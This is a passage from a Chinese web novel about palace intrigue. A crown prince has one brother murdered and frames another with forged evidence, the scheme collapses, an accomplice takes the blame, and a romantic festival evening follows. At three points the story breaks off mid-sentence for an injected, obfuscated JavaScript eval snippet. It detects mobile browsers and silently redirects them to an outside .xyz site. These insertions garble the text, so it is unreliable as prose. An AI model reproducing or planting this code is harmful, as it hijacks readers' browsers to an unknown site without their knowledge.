“这一世,想必不会再用这一招了。”胥毓看着胥文璟气鼓鼓的样子,忍不住笑了笑,随后眼中闪过一丝锐利,“如今他既想对付三皇子,又想拉文璟下马,所以如果我猜得没错的话,太子此次肯定会亲自筹划,设计一出一石二鸟之计。不过,若是他的‘鸟’换了人,不知道他还能不能将这出戏给好好地唱下去呢?届时,他又要将责任推到谁的头上?” 书房突然安静下来,看着胥毓胜券在握的摸样,几个人都暗自为太子一党捏了一把汗,但同时又暗自庆幸,自己选择的并不是胥毓的对立面。 而此刻,邰玉轩忽然走上前,站在胥毓身边,声音温柔却带着几分坚定:“有什么不要自己强撑,要知道,你有我,有我们,我们都是你的后盾,所以要做什么,记得提前知会我们。” 胥毓知道邰玉轩是在关心自己,她抬起头,对上他温润的目光,笑了笑,轻轻点了点头:“放心吧,我不会一个人冲动行事的,有什么要做的,我都会提前和你们说。至于此次行宫之行,既然太子要玩火,那我们……就送他一场焚天烈焰。” 窗外的风更紧了,吹得窗棂“吱呀”作响,仿佛在为这场即将到来的风暴,奏响序曲。 60. 栽赃 近日暑气蒸腾,宫墙内的蝉鸣聒噪得紧,惹得人心头也添了几分烦闷。 但这日却是个例外,天刚蒙蒙亮,皇城根下便动了势,仪仗煊赫,车马辚辚,皇室成员并随行宫人浩浩荡荡地离了皇城,往行宫避暑去。 那队伍蜿蜒如长蛇,旌旗在微风中舒展,前后侍卫林立,甲胄在晨光下泛着冷光,戒备森严得很。 只是这浩浩荡荡的队伍里,却藏着个天大的秘密。 本该位列其中的四皇子胥文璟,却早在皇城深处“病”了好几日,正由心腹太医和褚奎安排的影卫悄悄照料着。 而今日与胥毓同乘一驾宽敞马车的“四皇子”,却是经胥毓妙手易容、又刻意模仿了胥文璟举止神态的云溪。 马车内铺着厚厚的锦垫,角落里燃着一炉百合香,烟气袅袅娜娜地往上飘,却驱不散那隐隐的紧张气儿。 胥毓一身月白纱裙,袖口绣着几枝兰草,衬得她肤色愈发莹白。云溪则穿着石青色的骑装,头上束着同色的发带,眉眼间本是女子的柔婉,此刻被胥毓略一修饰,倒添了几分少年人的英气。 两人相对而坐,马车微微晃悠着。 胥毓指尖轻轻叩着小几上的茶盏,釉色莹润的白瓷被她叩出轻响,她眸色沉沉,低声道:“太子既要一石二鸟,必是选了个能将胥华荣和文璟都牵扯进去的局。行宫不比宫里规矩严,人多眼杂,更容易下手,也更容易造出些意外或是丑闻来。” 云溪点头,她刻意压低了声音,听着倒有几分像胥文璟平日里说话的调子,只是少了些跳脱,多了几分沉稳:“他最会借刀杀人,自己躲在后面栽赃陷害,手段无非是伪造些证据,或是买通几个人证。关键是,他要怎么让这事看起来合情合理,让文璟百口莫辩,让胥华荣‘死得其所’。” 她们你一言我一语,推演了几种可能。 是下毒后诬陷胥文璟进献的吃食?还是制造意外坠崖或落水,再指证是胥文璟因什么事怀恨在心,推了胥华荣?亦或是更阴毒些,造个胥文璟杀胥华荣灭口的现场? 可说得再多,终究是猜度。太子心思诡谲得很,她们手里的信息有限,推测到这儿,便再也说不下去了。 车厢里一时静了,只听得车轮碾过路面的辘辘声,还有外面隐约传来的马蹄声、人语声,像是隔着一层水听东西,模糊得很。 过了片刻,胥毓忽然抬眼看向云溪,目光里带着几分探究,又有些暖意,话锋一转:“说起来,你与文璟……近来似乎亲近了许多?” 云溪没料到她会突然问这个,易容后显得英气的面庞上,飞快地掠过一丝红晕,好在有妆容遮着,倒不怎么明显。 她略一迟疑,却也没扭捏,大方承认:“是,我们……彼此有意。” 胥毓微微一笑,像是早就知道了一般,只是安静地听着。 云溪顿了顿,语气认真起来:“阿柳,你知道我的来历,也知道我的想法,我欣赏文璟的赤子之心,也信他此刻待我的真心。他承诺此生只我一人,绝不纳妾,不会让我受委屈……” 说到这儿,她轻轻摇了摇头,眼神里透着清醒和坚定:“可是,爱时说的话,只在爱时作数。将来的变数太多,他是皇子,即便无心帝位,也有自己的责任和身不由己。而我不想将来困在这宫墙之中,和别的女子分享一个丈夫,更不想仰仗他的怜爱过活。” 胥毓眼中露出几分赞赏,静静地听着,没插话。 “所以我同他说了,”云溪继续道,眼里闪着独立自信的光,“我接受他的情意,但暂时不能接受他这个人。若有一天,我的生意能做遍天下,富可敌国,有了能掌控自己命运的底气,而那时,他若还初心不改,愿意放弃皇子的尊荣安逸,跟我走,那我便许他一个未来,让他入赘我云家。” 说完,她看向胥毓,带着一丝不易察觉的忐忑:“阿柳,你会不会觉得我的想法太过惊世骇俗,离经叛道?” 胥毓闻言,却是莞尔一笑,那笑容里满是理解和包容:“惊世骇俗?或许在那些老古板眼里是吧。但离经叛道又如何?每个人都有自己的路要走,有自己的缘法要渡。只要你心甘,他情愿,旁人的看法,包括我的,都不重要。我只会为你们高兴,祝你们能得偿所愿。” 她顿了顿,语气愈发真诚:“而且文璟能得你这般真心相待,是他的福气。你想要的,是靠自己也能站稳天地的底气,这很好。” 云溪心里一暖,像是被什么东西轻轻熨帖了一下,松了口气,脸上露出真切的笑容:“谢谢你,阿柳。” 一番交心后,车里的气氛松快了不少,不知不觉间,行宫的影壁已在眼前了。 车驾停稳,云溪扮作的“胥文璟”率先下车,随后很自然地回身,状似亲昵地扶了胥毓一把,两人交换了个心照不宣的眼神。 胥毓没跟着大多数皇室成员往安排好的主要殿宇去,而是带着“胥文璟”,与早已约好的胥弦月、胥昭云汇合。 三位公主默契地将“胥文璟”围在中间,你一句我一句地说笑,巧妙地用身形和话语挡着那些可能投来的审视目光,活像是护着个宝贝疙瘩。 果然,不远处的胥建柏看见了,摇着把檀香木折扇嗤笑一声,扬声调侃:“哟,这不是咱们的四弟吗?在宫里胡闹还不够,到了行宫还只知道黏在皇姐们屁股后头转悠,怎么,是看上哪位皇姐身边的俏丫头了?小心父皇知道了训你没出息!” 云溪学着胥文璟平日那混不吝的样子,笑嘻嘻地装没听见,嘴里念叨着“三哥这扇子真好看,哪儿买的”,插科打诨地糊弄了过去,倒没露出什么破绽。 太子胥阳丹在一旁冷眼瞧着那行人的背影,目光尤其在“胥文璟”身上停了片刻,那眼神阴沉得像是能滴出水来,却没接胥建柏的话茬,只是冷哼一声,拂袖往自己的住处去了。 而五胥华荣则像只惊弓之鸟,恨不得缩成一团藏起来,眼见太子的注意力移开,立刻脚底抹油,紧跟着皇帝的仪仗方向溜了,生怕落单。 那慌张的样子,倒像是后面有什么东西在追他。 晚间的皇室家宴设在临水的水榭里,廊下挂着盏盏宫灯,灯光映在水面上,碎成一片一片的金红,倒有几分雅致。 宴席上,气氛表面一派和谐,丝竹声细细软软地飘着,杯盏相碰的声音清脆悦耳。 皇帝胥瀮端着酒杯,说了一番兄弟姐妹当和睦友爱、共沐天恩的训话,众人都低着头,恭敬地应了。 宴席散后,众人便各自散去,回安排好的院落休息。夜色像块浸了墨的布,一点点盖了下来,行宫各处的灯火依次熄灭,白日的喧嚣沉入寂静之中,只有风吹过树叶的沙沙声,还有远处偶尔传来的虫鸣。 而胥阳丹的计划,却早已在这黑暗中悄然启动了。 胥阳丹在自己的院落里,看似早已歇下,实则他的心腹太监已悄无声息地引着一道黑影,避开巡逻的侍卫,潜入了胥华荣所住的清晏阁附近。 那黑影是太子早已物色好的死士,身形与胥文璟有七八分相似,所以不论行凶时有没有人看见,届时胥阳丹都能把所有嫌疑往胥文璟身上推,打得一手好算盘。 胥阳丹站在窗边,望着外面沉沉的夜色,脸上没什么表情,只有眼底深处翻涌着冰冷的杀意和志在必得的算计,宛若毒蛇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246647|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他低声对身旁的心腹侍卫统领吩咐:“手脚干净利落些,务必留下‘该留’的东西。事后,你知道该怎么做。” 侍卫统领重重点头,身影一晃,便融入了黑暗里,像是从未出现过。 此时的清晏阁内,胥华荣躲躲藏藏了一天,直到此刻,才勉强放下心来。 他刚屏退左右,正准备就寝,忽然听窗棂处传来一声极轻微的响动,像是风吹动了落叶,之后还没等他反应过来,一道黑影便已如鬼魅般滑入室内,带起一阵冷风。 胥华荣甚至来不及惊呼,就被一只铁箍般的手死死捂住了口鼻,那手上的力道大得惊人,像是要把他的骨头捏碎。而另一只手里的匕首寒光一闪,精准而狠辣地刺入了他的心脏。 他双目圆睁,眼里满是惊恐和不敢置信,可身体挣扎了几下,很快就微弱下去,最终彻底没了动静。 整个过程快得几乎没发出任何引人注意的声响。 之后,死士按照指令,刻意将现场布置成经过短暂搏斗的样子。他打翻了桌上的茶具,茶杯茶壶碎了一地,茶水溅得四处都是,又推歪了屏风,那屏风本是上好的檀香木所制,此刻歪在一旁,像是被人撞过。 确认目标已死后,死士迅速行动起来。 他从怀中取出一个物件,是枚成色极好的玉佩,上面刻着代表胥文璟的特有徽记,这玉佩是太子这段时日特意让人仿制的,就等着今日派上用场。死士将玉佩看似不经意地遗落在翻倒的桌角下,那地方容易被发现,又不会显得太刻意,刚刚好。接着,他又取出一小块被撕裂的衣角,颜色与胥文璟今日所穿骑装的内衬一致,他将这衣角塞进胥华荣紧握的手中,营造出死者临终前奋力挣扎,从凶手身上扯下的假象。 最后,死士又仔细检查了一遍现场,确保没留下自己的任何痕迹,便如同来时一样,悄无声息地遁走了,只留下满室的死寂和渐渐弥漫开的血腥味。 大约一炷香后,太子安插在行宫侍卫中的另一名心腹,按照计划“恰好”巡逻到清晏阁附近,然后“意外”发现了清晏阁的异样。 他装作上前查看,随后立刻惊呼出声,那声音在寂静的夜里格外刺耳,瞬间便引来了更多的侍卫。 胥华荣的死讯被发现后,现场很快被封锁起来,而消息却像是长了翅膀,火速飞到了皇帝、皇后以及行宫内的众人耳朵里。 太子是第一批赶到现场的人。 他脸上带着恰到好处的震惊与悲痛,眉头紧锁,眼眶微微泛红,厉声催促侍卫仔细搜查,务必找出凶手的线索,那焦急的样子,若不是知道真凶就是他,倒真有了几分关心胥华荣死活的样子。 很快,那枚“不慎”遗落的玉佩和死者手中的衣角碎片被发现了。 而所有证据的矛头,在众目睽睽之下,直指白日里还招摇过市,此刻却不见踪影的四皇子胥文璟! 胥阳丹看着那两样“铁证”,嘴角几不可查地勾起一丝冷笑,快得让人以为是错觉,随即那冷笑便化为沉痛与愤怒,他对着闻讯赶来的皇帝和众人沉声道:“父皇!这……这玉佩和衣角……难道是四弟他?!可这怎么可能!” 他成功地将嫌疑瞬间引到了胥文璟身上,一石二鸟,算计得丝毫不差。 他仿佛已经看到了胥文璟百口莫辩,被盛怒的父皇严惩,胥华荣被杀之事尘埃落定,而自己则彻底洗脱嫌疑,安安稳稳地坐在太子之位上的未来。 夜色愈发浓稠,荷塘里弥漫起淡淡的水腥气,还夹杂着一丝不易察觉的血腥味。 太子的阴谋,如同暗处滋生的毒菌,在这寂静的夜里悄然蔓延开来,也不知要将多少人卷入其中。 61. 太子失算,胥嘉顶罪 胥瀮的怒火在寂静的水榭中几乎凝成实质,他厉声命令大太监张炳春立刻去将胥文璟押来,张炳春领命,带着一队侍卫火速赶往四皇子在行宫的住处。 然而,当他们闯入那间本该住着胥文璟的院落正房时,眼前的景象却让张炳春愣住了。 屋内烛火朦胧,床榻上惊醒的却并非四皇子,而是两位女子——荣安胥毓和云溪县主。 两人云鬓微散,衣衫略显不整,显然是从睡梦中被惊醒,脸上带着恰到好处的惊惶与困惑。 “张公公?”胥毓坐起身,用锦被掩住身子,蹙眉问道,“深夜带人闯入,所为何事?如此阵仗,惊扰女眷,未免太失礼数了。” 张炳春也是一头雾水,连忙躬身告罪:“公主殿下息怒,县主恕罪。老奴奉皇上急旨,前来传召四殿下胥文璟觐见。事关重大,不得已冲撞,万望海涵。只是……四殿下何在?” “四皇弟?”胥毓脸上露出更加疑惑的神情,“文璟他根本就没来行宫啊。他已在宫中病了好几日,太医署皆有脉案记录可查。张公公是不是弄错了?” “没来?”张炳春心中咯噔一下,感觉事情大大不妙。 云溪此时也接口,声音带着刚醒的沙哑和一丝委屈:“是啊,公公。是阿柳……是公主殿下思念我,又怕皇上不许女伴同行,才想出这李代桃僵的主意,让我假扮四殿下混入队伍,也好一路与她作伴。此事全是我的不是,贪玩应下,欺瞒了皇上,请公公明鉴,万万与四殿下无关。” 她说着,低下了头,一副知错认罚的模样。 胥毓叹了口气,语气转为坚定:“此事怪我考虑不周,与云溪无关。父皇要见‘胥文璟’,如今真相如此,我这就随公公去父皇面前说明原委,领受责罚。” 张炳春冷汗都下来了,三皇子刚死,嫌疑直指四皇子,结果四皇子居然根本不在行宫! 这简直是惊天逆转。 他不敢怠慢,立刻请胥毓更衣,然后带着这两位至关重要的“人证”,一路心事重重地赶回皇帝所在的主殿。 殿内气氛凝重得能滴出水来,胥瀮见张炳春回来,身后却跟着胥毓和云溪,不见胥文璟,眉头立刻锁死:“怎么回事?文璟呢?” 胥毓上前,盈盈拜倒,将方才对张炳春说的话又清晰冷静地重复了一遍,强调了胥文璟因病滞留宫中、云溪假扮之事乃自己一手策划,并请皇帝即刻派人回宫核实以及查阅太医署记录。 皇帝听完,脸色变幻不定。 他本就是极精明的人,瞬间就明白,胥文璟既然不在行宫,那所谓的“铁证”玉佩和衣角,根本就是彻头彻尾的栽赃! 谁能拿到胥文璟的贴身物品并加以仿制?谁最想一石二鸟除掉胥华荣和胥文璟? 答案几乎呼之欲出! 他的目光如利刃般扫过下方垂手而立、脸色已微微发白的太子胥阳丹。 近来朝中对太子的弹劾如雪片般飞来,他对自己这个长子的心胸和手段并非一无所知。此刻,他心中已信了八分:定是胥阳丹毒计,杀了胥华荣又想嫁祸胥文璟。 一股滔天怒火和深深的失望在皇帝胸中翻涌,废太子的念头前所未有地强烈。但另一方面,皇室声誉重于泰山,皇子残杀兄弟,太子构陷胞弟,这等丑闻若坐实公布出去,皇家颜面何存? 朝廷必将震动! 所以强压下立刻发作的冲动,皇帝胥瀮深吸一口气,声音沉冷得如同寒冰:“好,好一个李代桃僵!毓儿,你真是胆大包天!此事容后再说!” 他先斥责了胥毓一句,随即下令:“立刻派人加急回宫,核实四皇子胥文璟是否确实在宫中养病!并,封锁行宫,给朕彻查今夜清晏阁内外所有动静,任何人不得随意走动!在查明之前,行宫内所有人等,皆回各自住处,无朕旨意,不得出入!” 这相当于将所有人都软禁了。 胥阳丹的心沉到了谷底,他千算万算,没算到胥文璟居然根本没来! 胥毓和那个云溪,竟敢如此! 胥阳丹被软禁在自己的院落里,如同困兽,跟他一同被关在此处的,还有扮作他贴身侍女的胥嘉。 当从胥阳丹口中得知胥文璟竟在宫中,来的是云溪时,胥嘉也惊呆了。 计划彻底失败,一旦宫中和太医署的证据传来,胥阳丹的嫌疑将无法洗脱,废黜甚至问罪就在眼前。 “太子哥哥,如今……如今可如何是好?”胥嘉声音发颤。 胥阳丹面色阴沉如水,在房中踱步良久,眼中闪过疯狂而绝决的光芒,随即他突然停下脚步,猛地看向胥嘉,竟噗通一声跪了下去! “嘉儿!如今只有你能救皇兄了!”胥阳丹抓住胥嘉的手,语气急切而带着哀求,“明日证据一来,父皇必定疑我!若我倒了,我们这么多年的谋划就全完了!你我也绝不会有好下场!嘉儿,你……你替皇兄认下此事!就说……就说你是无意间撞见胥华荣,他欲对你不轨,你挣扎间失手杀了他!你并非皇子,又是‘戴罪之身’潜入,父皇为了皇家颜面,或许不会深究动机,只会重罚你一人!” 胥嘉如遭雷击,猛地抽回手,难以置信地看着跪在地上的太子。 她为他做了那么多事,牺牲了那么多,甚至不惜自毁前程,到头来,他竟要推她去死?! 一股冰寒彻骨的失望和怨恨瞬间淹没了她,她终于看清,在这个男人心里,任何人都是可以牺牲的棋子! 胥嘉心灰意冷,但正如胥阳丹所说,他们早已是一条绳上的蚂蚱,太子若倒,她绝无生机。 巨大的恐惧和绝望之后,反而生出一种破罐破摔的冷静。 她闭了闭眼,再睁开时,眼里已是一片死寂的平静:“好,胥阳丹,我认!” 胥阳丹闻言大喜:“嘉儿!你……” “但我有条件!”胥嘉打断他,声音冰冷,“第一,你必须尽全力保我性命,绝不能让我真的被处死!第二——”她盯着胥阳丹的眼睛,一字一句道,“他日你若登基,皇后之位,必须是我胥嘉的!你若负我,我便是做鬼,也绝不放过你!” 胥阳丹此刻只求有人顶罪,哪管以后,所以立刻指天发誓:“好!嘉儿,我答应你!我一定想办法救你!皇后之位,永远是你的!你是我唯一的皇后!” 得到承诺后,胥嘉以需要静心想说辞为由,让胥阳丹设法支开了片刻门口的守卫。 随后她迅速找来了此次一同出行的红袖,让她传递了一个紧急密令给褚奎。 “告诉褚奎,他报恩的时候到了,我要他不惜一切代价,杀了胥毓!事成之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259791|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不必再联系我。”她想着,既然胥毓屡次坏她好事,那她就算是死也要拉胥毓垫背,而用褚奎这颗她安插的棋子就再好不过,这样就算事发,所有人也绝不会怀疑到太子或自己头上。 然而,她却不知,接到密令的褚奎并没有动手。 他陷入了巨大的痛苦和挣扎之中。一边是旧主不容置疑的死命令和所谓的恩情,一边是效忠的对象和心底暗藏的情愫,他在黑暗中握紧了拳,最终也没有行动,只是将那道密令在烛火上点燃,看着它化为灰烬。 毕竟……他下不了手。 这一夜,无人安眠。 第二天清晨,回宫核查的侍卫快马赶回,带来了确凿消息:四皇子胥文璟确因急病,已在宫中休养多日,从未离开,太医署记录详实,宫门守卫皆可作证。 证据确凿,胥文璟的嫌疑彻底洗清。 所有人的目光再次聚焦于太子胥阳丹,皇帝胥瀮面色铁青,正要开口问责。 就在这时,一名一直低头站在角落的“内侍”突然扑了出来,跪倒在地,声音凄惶:“皇上!还是恕罪!三皇子……三皇子是民女杀的!与太子殿下无关啊!” 众人皆惊。 只见那“内侍”抬起头,摘下帽子,露出真容,竟是早就被赶出皇城的胥嘉! 胥嘉泪流满面,按照她想好的说辞,哭诉自己如何思念皇帝皇后,如何偷偷潜入行宫只想远远看一眼,又如何被胥华荣发现并欲行不轨,她拼命反抗失手误杀。 她声泪俱下,将责任全揽到自己身上,并称太子昨夜只是看到模糊人影产生误会,并非有意诬陷。 这番说辞漏洞百出,在场之人心知肚明胥华荣之死绝非如此简单,胥嘉九成是在顶罪。 皇帝胥瀮更是心如明镜,但他看了一眼脸色苍白的太子,又看了看跪地痛哭的胥嘉,皇室的脸面终究压过了一切。 所以他正欲顺水推舟,下令处置胥嘉,太子胥阳丹却又急忙出列:“父皇!胥嘉虽罪大恶极,但……但不久便是母后寿辰,此时处以极刑,恐冲撞喜庆,有不祥之兆啊!请父皇看在母后的面上,暂缓死刑,待秋后处斩!” 他想为营救胥嘉争取时间。 一直冷眼旁观的皇后此刻却冷冷开口:“太子此言差矣。胥嘉一介民女,弑杀皇子,罪无可赦!即刻明正典刑,以儆效尤,方是正理。本宫的寿辰,岂容此等罪妇的血来玷污?更谈不上冲撞。” 她毫不留情地堵死了太子的路。 胥阳丹心急如焚,又转向皇帝:“父皇!母后寿辰关乎国运,儿臣恳请父皇再行三思啊!” 胥瀮当然知道胥阳丹是在给胥嘉求情,但听到“国运”二字,他还是沉默了。 所以过了片刻,他最终还是摆了摆手,疲惫地下了决断:“罢了。胥嘉弑杀皇子,罪证确凿,判斩立决。然,皇后寿辰在即,确不宜见血,暂押天牢,俟秋后处决。太子胥阳丹,御下不严,察事不明,险致冤狱,禁足东宫一月,反省己过!” 一场滔天风波,就在皇帝对皇家体面的维护和太子暂时的脱身中,看似暂时落下了帷幕。 但裂痕已然深种,胥阳丹的太子之位更加摇摇欲坠,而胥嘉被押往天牢,等待她的,是未知的秋后,以及太子那虚无缥缈的救命承诺…… 62. 缠绵之夜 胥阳丹被禁足东宫,虽暂时保住了储位,但接连失利和朝中风向的转变让他焦躁万分,沈文石一派的若即若离更是让他雪上加霜。 所以他当即召集心腹幕僚,商议着要如何再狠狠地给胥毓他们一个教训。 可众人皆劝他暂避锋芒,静待时机,毕竟皇帝尚未废太子,说明心里面对他还是有些垂怜之情。 要想报复,那等到登基以后,再来也不迟啊。 但胥阳丹如何能忍? 一想到胥毓等人将他逼至如此境地,他就怒火中烧,寝食难安。 “休养生息?眼睁睁看着胥文璟那贱种得势?看着胥毓逍遥快活?绝无可能!”他低吼道,眼中布满血丝,“我必须扳回一城!必须找到他们的死穴!” 就在这时,一位年迈沉默许久的老臣颤巍巍地上前,屏退左右后,凑近胥阳丹耳边,低声道:“殿下息怒,老臣或有一疑,不知当讲不当讲……” “讲!”胥阳丹不耐地道。 “老臣……曾在荣安公主的册封大典上,觉得公主殿下甚是眼熟。”老臣缓缓道,“起初只以为是肖似皇上或皇后娘娘,但近来公主出落得越发昳丽,老臣才惊觉,那熟悉感并非源于皇上或中宫……” 胥阳丹眯起眼:“哦?那像谁?” 老臣的声音压得更低,几乎微不可闻:“像……两位绝不该被提及的皇室禁忌。殿下或许不知道,许多年前,皇上还是皇子时,与已故的大皇子胥殊殿下曾为裕阳王之女,那位险些引起滔天风波的女郎,闹得不可开交!” 胥阳丹瞳孔骤缩,他隐约听过一些宫廷秘闻的碎片,但是这事在他出生之前就被皇帝严格下令,不许任何人提及,所以他也只是偶尔听见几句风声,并不知道到底发生了些什么秘辛。 但是现在听这老臣这么说,看样子,里面或许会有一些他不知道的门道,能助他此次脱困? 那老臣继续道:“老臣当年曾有幸远远见过那位女郎数面,惊为天人。如今再看荣安公主的眉眼风姿……竟有七八分相似!尤其是那双眼睛,简直和当年的胥季荷如出一辙!” 胥阳丹的心猛地一跳。 胥季荷! 裕阳王的独女,那个据说引得他父皇胥瀮和伯父胥殊反目成仇、最终香消玉殒的红颜祸水! 胥毓怎么会像她? “而且。”老臣意味深长地补充,“皇上对荣安公主的偏宠,早已超出常理。公主的容貌,细细看来,与陛下、皇后实则并无太多相似之处……这其中,莫非……” 一个惊人的、足以颠覆一切的猜测在胥阳丹脑中炸开。 胥毓的身世有问题! 她可能根本不是皇后的亲生女儿! 巨大的狂喜瞬间淹没了他。 如果这是真的,那胥毓所有的尊荣都将化为泡影,甚至会成为皇室最大的丑闻!而当年父皇胥瀮的上位过程,或许也并非那么光明正大,其中是否与胥殊之死、胥季荷之死有关联? “查!给本宫不惜一切代价去查!”胥阳丹兴奋得声音都在发抖,眼中燃烧着疯狂的光芒,“动用所有暗线,给本宫把当年裕阳王府的旧事、胥季荷与胥殊的旧事、所有知情的老人……统统挖出来!” 他翻盘的机会,或许就在于此了! * 而与东宫的阴云密布不同,胥毓的公主府近来倒是难得的宁静祥和。 胥毓大多时间住在宫外的府邸,自在许多。 她将沉稳的玉蝉和可靠的褚奎留在公主府中打理事务,机灵的琴夏则留在宫中,既是眼线,也能时常陪伴皇后,传递消息。 芳吟则随身伺候,她是母亲留下的人,如今,算得上是胥毓最信任的人了。 …… 这日恰逢上元灯会,亦是邰玉轩的生辰,他早早递了帖子,邀请胥毓一同赏灯。 芳吟一边为胥毓梳妆,一边笑嘻嘻地打趣:“公主,邰世子怕是醉翁之意不在酒呢!这生辰不和家人过,偏偏来邀您。” 一旁的玉蝉也抿嘴笑:“可不是么?邰世子的心思,咱们谁人不知啊。只是,公主您与那杜公子的婚约……” 胥毓对镜描眉,闻言笑了笑:“我与杜若衡的婚事,本就是权宜之计,一场意外,早晚会解的,不必为此烦忧。” 她脑海中闪过杜若衡与胥弦月几次见面时那微妙的气氛和彼此眼中暗藏的情愫,心下微动,或许……那也是一段良缘契机? 不过缘分之事,强求不得,她不会插手,顺其自然便好。 她今日心情甚好,特意选了一身蝶恋花图案的云锦襦裙,裙摆翩跹,色彩明艳,衬得她肌肤胜雪,眼波流转间娇俏灵动,真似一只落入凡间的彩蝶。 收拾停当,胥毓便准备出门,她吩咐道:“今日灯会,你们都不必跟着了,我想和邰玉轩单独逛逛。” 芳吟和玉蝉虽有些担忧,但想到邰玉轩武艺高强,定能护公主周全,便也应下了。 唯独褚奎面色沉郁,忍不住开口:“公主,人多眼杂,还是让属下暗中护卫吧?” 胥毓摇摇头,语气轻松却坚定:“不必了褚奎。今日佳节,你们也自在些,出去逛逛灯会,说不定能遇上一段好姻缘呢?” 她本是玩笑之语,芳吟和玉蝉又笑了起来。 褚奎却只觉得心头被刺了一下,他想要的姻缘,近在咫尺,却又遥不可及。 他看着胥毓为另一个男子精心打扮、欣然赴约,嫉妒如同毒蛇啃噬着他的心。于是他沉默地低下头,掩去眼底翻涌的情绪,最终只是哑声道:“……是,属下遵命。” 然而,当胥毓的身影消失在门口,褚奎却终究无法安心待在府中。 他换了身不起眼的常服,悄然融入夜色人流,目光始终紧紧追随着前方那对格外耀眼的璧人。 长街之上,火树银花,灯市如昼,各式花灯争奇斗艳,游人如织,笑语喧阗。 胥毓和邰玉轩并肩而行,郎才女貌,引得路人频频侧目。 邰玉轩今日未着戎装,也未骑马,只是一身靛蓝色锦袍,更显身姿挺拔,英气逼人。 他小心地护在胥毓身侧,为她隔开拥挤的人潮。 “阿柳,你看那灯!”邰玉轩指着不远处一个精巧的八角宫灯,灯面上绘着八仙过海的故事,旋转起来栩栩如生。 胥毓顺着他指的方向看去,眼中映着璀璨灯火,亮晶晶的:“真好看!我们去那边猜灯谜吧?听说猜中了头彩,能去望仙楼用膳呢!” “好!”邰玉轩自然无有不应。 两人挤到灯谜处,胥毓聪慧,邰玉轩也不遑多让,配合默契,一连猜中十几个难解的灯谜,引得周围一片叫好声,最终毫无悬念地拔得头筹。 得了彩头,两人又去放了莲花灯,胥毓认真地写下心愿,看着河灯晃晃悠悠地漂远。 邰玉轩问她许了什么愿,她只狡黠一笑:“说出来就不灵了!” 他们还看了惊险的吞火吐火表演,胥毓看得惊呼连连,下意识抓住邰玉轩的胳膊。 邰玉轩身体微微一僵,随即又慢慢的地放松下来,感受着臂上传来的温热,心底一片柔软。 投壶、射覆……凡是热闹有趣的玩意儿,今夜他们几乎都玩了个遍。 胥毓笑得开怀,仿佛卸下了所有宫廷的枷锁,变回了当年在丹骆村无拘无束的小姑娘。 邰玉轩看着她明媚的笑颜,只觉得比满城灯火还要耀眼,心中涨满了难以言喻的喜悦和柔情。 暧昧的情愫在并肩而行、偶尔触碰的指尖流动,在相视而笑的默契里滋长,拉扯着彼此的心弦。 最终,他们凭着头彩的凭证,登上了皇城最好的酒楼,望仙楼的顶层雅间,这里视野极佳,可以俯瞰整片流光溢彩的灯海。 珍馐美馔陆续上桌,胥毓玩得尽兴,又因开心,不免多饮了几杯佳酿。 她酒量本就不深,此刻双颊绯红,眼波如水,已是带了七八分醉意。 她支着下巴,看着对面正为她细心剔鱼刺的邰玉轩,忽然吃吃地笑起来:“邰玉轩……你是不是以为……我忘了今天是什么日子了?” 邰玉轩动作一顿,抬眼看向她,目光温柔:“怎么会。你记得与否,都不重要,重要的是……我能一直陪在你身边,以后的每一年,都希望能让你像今日这般开心。” 胥毓听了,心里像是被蜜糖填满,暖融融的。 她摇摇头,从袖中摸索出一个细长的锦盒,推到邰玉轩面前,语气带着醉意的娇憨和得意:“骗你的!我才没忘!给你的生辰礼!” 邰玉轩微微一怔,看了看胥毓,将盘子里剔干净鱼刺的鱼肉推到她面前,这才小心翼翼地打开锦盒。 里面静静躺着一把匕首。 匕首造型古朴,鞘上镶嵌着宝石,刀柄缠绕着金丝,做工极其精美,一看便知价值不菲。 但更让他心头巨震的是这匕首的样式,竟与他们幼时在丹骆村玩闹,用树枝泥土做的那把他随口胡诌的“绝世宝刀”有几分神似! “这是……”他愕然抬头。 胥毓笑得眼睛弯弯,带着醉意,语气却异常清晰:“你说过的……长大了,要当大将军,要有一把……最厉害的匕首……喏,我找人打的!厉害吧?以后……它保护你,你保护我……” 孩童时期漫不经心的玩笑话,她竟记了这么多年,并真的将它变成了现实! 邰玉轩只觉得喉头哽咽,一股滚烫的热流涌遍四肢百骸,他握紧了那冰冷的匕首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259792|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却觉得掌心一片灼热。 “阿柳……”他声音沙哑,万千情绪堵在胸口,最终只化作深深的目光凝视着她。 胥毓摇摇晃晃地站起身,走到他面前,伸出手抱了抱他,就像小时候那样,声音软糯:“玉轩哥哥,生辰快乐……要一直平安喜乐……” 